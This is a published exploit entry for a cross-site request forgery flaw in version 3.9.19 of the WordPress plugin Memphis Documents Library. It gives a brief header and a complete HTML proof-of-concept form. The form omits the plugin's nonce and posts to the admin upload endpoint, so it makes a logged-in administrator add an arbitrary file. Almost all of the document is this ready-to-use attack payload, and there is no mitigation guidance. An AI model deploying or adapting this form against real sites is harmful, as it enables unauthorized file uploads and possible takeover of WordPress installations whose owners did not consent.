WordPress Memphis Documents Library 3.9.19 Cross Site Request Forgery

`# Exploit Title: WordPress Plugin Memphis Documents Library 3.9.19 - Cross Site Request Forgery (Arbitrary File Add)  
# Exploit Author: Mr Winst0n  
# Author E-mail: [email protected]  
# Discovery Date: May 22, 2019  
# Software Link : https://wordpress.org/plugins/memphis-documents-library/  
# Tested Version: 3.9.19  
# Tested on: Parrot OS, Wordpress 5.1.1  
  
  
# PoC:  
  
<form class="form-horizontal" enctype="multipart/form-data" action="http://localhost/[PATH]/wp-admin/admin.php?page=memphis-documents.php&mdocs-cat=&mdocs-cat=mdocuments" method="POST" id="mdocs-add-update-form">  
<input type="hidden" name="mdocs-current-user" value="phpmyadmin">  
<input type="hidden" name="mdocs-type" value="mdocs-add">  
<input type="hidden" name="mdocs-index" value="">  
<input type="hidden" name="mdocs-cat" value="">  
<input type="hidden" name="mdocs-pname" value="">  
<!--<input type="hidden" name="mdocs-nonce" value="" />-->  
<input type="hidden" name="mdocs-post-status-sys" value="">  
<input type="hidden" name="mdocs-permalink" value="admin.php?page=memphis-documents.php&mdocs-cat=">  
<input type="hidden" name="mdocs-is-admin" value="1">  
<div class="well well-lg">  
<div class="page-header">  
<h2>File Properties</h2>  
</div>  
<div class="form-group form-group-lg has-success">  
<label class="col-sm-2 control-label" for="mdocs-name">Name</label>  
<div class="col-sm-10">  
<input class="form-control" type="text" name="mdocs-name" id="mdocs-name">  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs">File Uploader</label>  
<div class="col-sm-10">  
<input class="form-control" type="file" name="mdocs">  
<p class="help-block" id="mdocs-current-doc"></p>  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-folder">Folder</label>  
<div class="col-sm-10">  
<select class="form-control" name="mdocs-cat">  
<option value="mdocuments" selected="selected">Documents</option> </select>  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-version">Version</label>  
<div class="col-sm-10">  
<input class="form-control" type="text" name="mdocs-version" value="">  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-date">Date</label>  
<div class="col-sm-10">  
<input class="form-control" type="text" name="mdocs-last-modified" value="">  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-file status">File Status</label>  
<div class="col-sm-10">  
<select class="form-control input-lg" name="mdocs-file-status" id="mdocs-file-status">  
<option value="public">Public - [ Everyone can view this file ]</option>  
<option value="hidden">Private - [ Only you can view this file ]</option>  
</select>  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-post status">Post Status</label>  
<div class="col-sm-10">  
<select class="form-control input-lg" name="mdocs-post-status" id="mdocs-post-status">  
<option value="publish">Published</option>  
<option value="private">Private</option>  
<option value="pending">Pending Review</option>  
<option value="draft">Draft</option>  
</select>  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-show social apps">Show Social Apps</label>  
<div class="col-sm-10">  
<input class="form-control" type="checkbox" name="mdocs-social" checked="">  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-downloadable by non members">Downloadable By Non Members</label>  
<div class="col-sm-10">  
<input class="form-control" type="checkbox" name="mdocs-non-members" checked="">  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-contributors">Contributors</label>  
<div class="col-sm-10">  
<div class="mdocs-add-contributor-container" data-contributor-type="add-update">  
<div class="mdocs-contributors-container">  
<button type="button" class="btn btn-primary" id="mdocs-current-owner"><i class="fa fa-user" aria-hidden="true"></i> phpmyadmin</button>  
<input type="hidden" value="phpmyadmin" id="mdocs-owner-value"></div>  
<input autocomplete="off" class="form-control mdocs-add-contributors" type="text" name="mdocs-add-contributors" placeholder="Add contributor, users and roles types are allowed.">  
<div class="mdocs-user-search-list hidden"></div>  
</div>  
</div>  
</div>  
<input type="hidden" name="mdocs-real-author" value="">  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-tags">Tags</label>  
<div class="col-sm-10">  
<input class="form-control" type="text" name="mdocs-tags" id="mdocs-tags" placeholder="Comma Separated List">  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-categories">Categories</label>  
<div class="col-sm-10">  
<select multiple="" class="form-control" name="mdocs-categories[]" id="mdocs-post-categories">  
<option value="Uncategorized">Uncategorized</option> </select>  
</div>  
</div>  
<div class="form-group form-group-lg">  
<label class="col-sm-2 control-label" for="mdocs-description">Description</label>  
<div class="col-sm-10">  
<div id="wp-mdocs-desc-wrap" class="wp-core-ui wp-editor-wrap tmce-active"><link rel="stylesheet" id="dashicons-css" href="http://localhost/lab/wordpress/wp-includes/css/dashicons.min.css?ver=5.1.1" type="text/css" media="all">  
<link rel="stylesheet" id="editor-buttons-css" href="http://localhost/lab/wordpress/wp-includes/css/editor.min.css?ver=5.1.1" type="text/css" media="all">  
<style>display: none;</style>  
<div id="wp-mdocs-desc-editor-tools" class="wp-editor-tools hide-if-no-js"><div class="wp-editor-tabs"><button type="button" id="mdocs-desc-tmce" class="wp-switch-editor switch-tmce" data-wp-editor-id="mdocs-desc">Visual</button>  
<button type="button" id="mdocs-desc-html" class="wp-switch-editor switch-html" data-wp-editor-id="mdocs-desc">Text</button>  
</div>  
</div>  
  
</div>  
</div>  
</div>  
<input type="submit" class="btn btn-primary" id="mdocs-save-doc-btn" value="Add Document">  
</form>  
`